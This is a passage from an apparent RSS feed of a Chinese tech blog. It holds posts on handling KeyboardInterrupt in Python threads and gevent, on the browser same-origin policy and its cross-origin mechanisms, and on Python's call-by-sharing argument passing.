&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;activeCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'User aborted'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;thread.deamon = True&lt;/code&gt;将所有子线程设置成守护线程。根据Python守护线程的规定，当所有非守护线程退出的时候所有守护线程自动退出。所以当主线程（非守护线程）也就是我们的进程处理&lt;code class=&quot;highlighter-rouge&quot;&gt;SIGINT&lt;/code&gt;信号并退出后，所有子线程也就都退出了。至于&lt;code class=&quot;highlighter-rouge&quot;&gt;while&lt;/code&gt;循环则是为了保证主线程在正常情况下不退出，以免影响子线程的执行。&lt;/p&gt;

&lt;h3 id=&quot;gevent&quot;&gt;gevent&lt;/h3&gt;
&lt;p&gt;协程也是一种很常用的并发模型，在Python中使用gevent来实现协程，并与multiprocessing联合来充分利用多核。使用&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;退出协程的代码如下：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;gevent&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;gevent&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monkey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;patch_socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jobs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gevent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;gevent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;joinall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'[-] main exit'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;运行结果如下：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CTraceback&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;most&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;File&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/home/.../python2.7/site-packages/gevent/greenlet.py&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;327&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kwargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;File&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;gv_kbi.py&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Greenlet&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7f478de72a50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;failed&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;我们并没有在greenlet中处理异常，因为在greenlet中处理异常相当于加快了greenlet的结束，使gevent切换到另一个greenlet，并没有终止程序的运行。所以使greenlet中的异常向上抛出，在主程序中捕获并处理异常使程序退出。&lt;/p&gt;

</description>
        <pubDate>Fri, 15 Apr 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/04/15/python-keyboardinterrupt.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/04/15/python-keyboardinterrupt.html</guid>
        
        
      </item>
    
      <item>
        <title>同源策略</title>
        <description>&lt;h2 id=&quot;info&quot;&gt;Info&lt;/h2&gt;
&lt;p&gt;对同源策略及其相关知识点的整理。&lt;/p&gt;

&lt;h3 id=&quot;源&quot;&gt;源&lt;/h3&gt;
&lt;p&gt;源的界定元素是协议、域名和端口号，如果两个页面的这三个元素相同，那么它们就是同源的。&lt;/p&gt;

&lt;h3 id=&quot;同源策略&quot;&gt;同源策略&lt;/h3&gt;
&lt;p&gt;同源策略，Same-origin policy， SOP。该策略约束了一个源中所加载的文档和脚本对另一个源中的资源的访问。&lt;/p&gt;

&lt;h3 id=&quot;约束&quot;&gt;约束&lt;/h3&gt;
&lt;p&gt;同源策略对资源间的访问进行了以下三类约束：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;允许跨源写操作，包括链接、重定向和表单提交&lt;/li&gt;
  &lt;li&gt;允许跨源嵌入资源，包括如下几种嵌入方式：
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt;，可以实现JSONP&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;link rel=&quot;stylesheet&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;img&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;video&amp;gt;&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;audio&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;object&amp;gt;&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;@font-face&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;不允许跨源读操作，但是可以通过嵌入资源来读取&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;跨源访问&quot;&gt;跨源访问&lt;/h3&gt;
&lt;p&gt;实际应用中的业务需求有时要满足跨源通信，以下是几种跨源方式：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document/domain&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;document.domain&lt;/code&gt;&lt;/a&gt;：这实际是一种源的改变，脚本可以设置该值为当前域的一个后缀，之后该值即变为源的判断依据，利用这种方式可以实现父域与子域间资源的访问。需要注意的是其值不能为.com等顶级域。&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;window.postMessage&lt;/code&gt;&lt;/a&gt;： &lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/Security/Same-origin_policy#Window&quot;&gt;JavaScript中窗口的句柄是可以跨源访问的&lt;/a&gt;，只要发送端拥有某个窗口的JavaScript句柄，就可以通过这个机制向该窗口发送任意长度的文本信息。这套机制由发送端决定哪个页面能接受到发送的信息，在发送的过程中，也会为接受端提供发送者的身份信息以供认证，从而确保了传输的正确性。&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS&quot;&gt;Cross-Origin Resource Sharing（CORS）&lt;/a&gt;：即跨源资源共享，这种机制让Web服务器支持访问控制，其基本思想是使用自定义的HTTP头部让浏览器与服务器进行沟通，从而决定请求是否成功。需要注意的是，不管请求是否成功，请求都成功发送到了服务器上。&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/WebSocket&quot;&gt;WebSocket&lt;/a&gt;：WebSocket的目标是创建一个全双工的socket连接，客户端首先向服务端发送一个特殊的HTTP请求以发起连接，收到服务器响应之后，连接由HTTP升级为WebSocket从而开始通信。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;参考文档&quot;&gt;参考文档&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/Security/Same-origin_policy&quot;&gt;https://developer.mozilla.org/en/docs/Web/Security/Same-origin_policy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;《Web之困》&lt;/li&gt;
  &lt;li&gt;《Web前端黑客技术揭秘》&lt;/li&gt;
  &lt;li&gt;《JavaScript高级程序设计》&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 19 Mar 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/03/19/same-origin-policy.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/03/19/same-origin-policy.html</guid>
        
        
      </item>
    
      <item>
        <title>Python 函数参数传递</title>
        <description>&lt;h2 id=&quot;info&quot;&gt;Info&lt;/h2&gt;
&lt;p&gt;由于Python变量的特殊性，Python函数参数的传递并不是传值或者是传引用，而是一种特殊的方式，我们可以称之为: Call by sharing。&lt;/p&gt;

&lt;h3 id=&quot;nametag&quot;&gt;Nametag&lt;/h3&gt;
&lt;p&gt;在Python中，变量其实是内存中对象的一个“标签”，我们可以称之为nametag。它并不像C或者其他语言那样在变量之间赋值时创建一个新的对象给新变量，而是让新变量也指向之前的对象，这里有个很形象的&lt;a href=&quot;http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html#other-languages-have-variables&quot;&gt;例子&lt;/a&gt;。我们也可以通过以下代码来说明：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;其实在CPython中，Python变量的实现为&lt;code class=&quot;highlighter-rouge&quot;&gt;PyObject*&lt;/code&gt;,结合指针类型也就更容易理解“标签”的含义（Python对一些操作进行了重载，所以不要完全以指针的操作来看待变量操作）。&lt;/p&gt;

&lt;h3 id=&quot;可变不可变对象&quot;&gt;可变/不可变对象&lt;/h3&gt;
&lt;p&gt;Python中的对象可以分为可变和不可变两类，可变对象包括&lt;code class=&quot;highlighter-rouge&quot;&gt;list&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;dict&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;object&lt;/code&gt;等类型的对象；不可变对象包括&lt;code class=&quot;highlighter-rouge&quot;&gt;str&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;number&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;tuple&lt;/code&gt;。可变对象内置改变自身的方法，比如&lt;code class=&quot;highlighter-rouge&quot;&gt;list.append(1)&lt;/code&gt;，而不可变对象并没有。&lt;/p&gt;

&lt;h3 id=&quot;函数参数传递&quot;&gt;函数参数传递&lt;/h3&gt;
&lt;p&gt;结合以上两点，我们来看下面几个例子：&lt;/p&gt;

&lt;h4 id=&quot;0x00&quot;&gt;0x00&lt;/h4&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 函数参数为不可变对象&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;在此例中，传参时首先执行&lt;code class=&quot;highlighter-rouge&quot;&gt;b = a&lt;/code&gt;，即让“标签”&lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;也指向&lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt;这个对象，而在函数中首先去&lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;所指向的对象的值，再&lt;code class=&quot;highlighter-rouge&quot;&gt;+1&lt;/code&gt;创建一个新的对象&lt;code class=&quot;highlighter-rouge&quot;&gt;2&lt;/code&gt;，最后让&lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;再指向&lt;code class=&quot;highlighter-rouge&quot;&gt;2&lt;/code&gt;这个对象。也就是说，函数的作用实际上是创建了一个新的对象并让函数内部变量&lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;指向这个新对象，而并没有改变&lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;所指向的对象，所以最后&lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;的值仍为&lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt;。&lt;/p&gt;

&lt;h4 id=&quot;0x01&quot;&gt;0x01&lt;/h4&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 函数参数为可变对象&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# [1]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;原理同上，虽然参数是可变对象，但是函数内部逻辑依然为让函数内部变量指向所创建新对象，所以并没有改变&lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;的值。&lt;/p&gt;

&lt;h4 id=&quot;0x02&quot;&gt;0x02&lt;/h4&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 函数参数为可变对象&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# [1, 2]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;在这个例子中，函数内部使用&lt;code class=&quot;highlighter-rouge&quot;&gt;b.append(2)&lt;/code&gt;改变了&lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;所指向的对象，也就是&lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;所指向的对象&lt;code class=&quot;highlighter-rouge&quot;&gt;[1]&lt;/code&gt;，所以函数执行后&lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;的值发生了改变。&lt;/p&gt;

&lt;h4 id=&quot;0x03&quot;&gt;0x03&lt;/h4&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 函数参数为可变对象&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# [1, 2]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这个例子看似很奇怪，其实究其原因是因为Python对&lt;code class=&quot;highlighter-rouge&quot;&gt;+=&lt;/code&gt;这个操作符进行了重载，若操作的对象是可变对象，&lt;code class=&quot;highlighter-rouge&quot;&gt;+=&lt;/code&gt;实际上等同于&lt;code class=&quot;highlighter-rouge&quot;&gt;extend()&lt;/code&gt;这类改变对象自身的函数。&lt;/p&gt;

&lt;p&gt;总结以上几个例子，Python中函数参数传递实际上传递的是指向对象的“标签”，这种传参的方法就是我们下面要提到的“Call by sharing”。至于对形参的改变是否影响到实参，实际上是看函数中有没有对实参所指的对象本身进行改变。&lt;/p&gt;

&lt;h3 id=&quot;call-by-sharing&quot;&gt;Call by sharing&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Evaluation_strategy#Call_by_sharing&quot;&gt;维基百科如是说&lt;/a&gt;，核心的意思就是说此类传参方法与传引用的区别在于：函数内部对形参的赋值在函数外是不可见的。&lt;/p&gt;

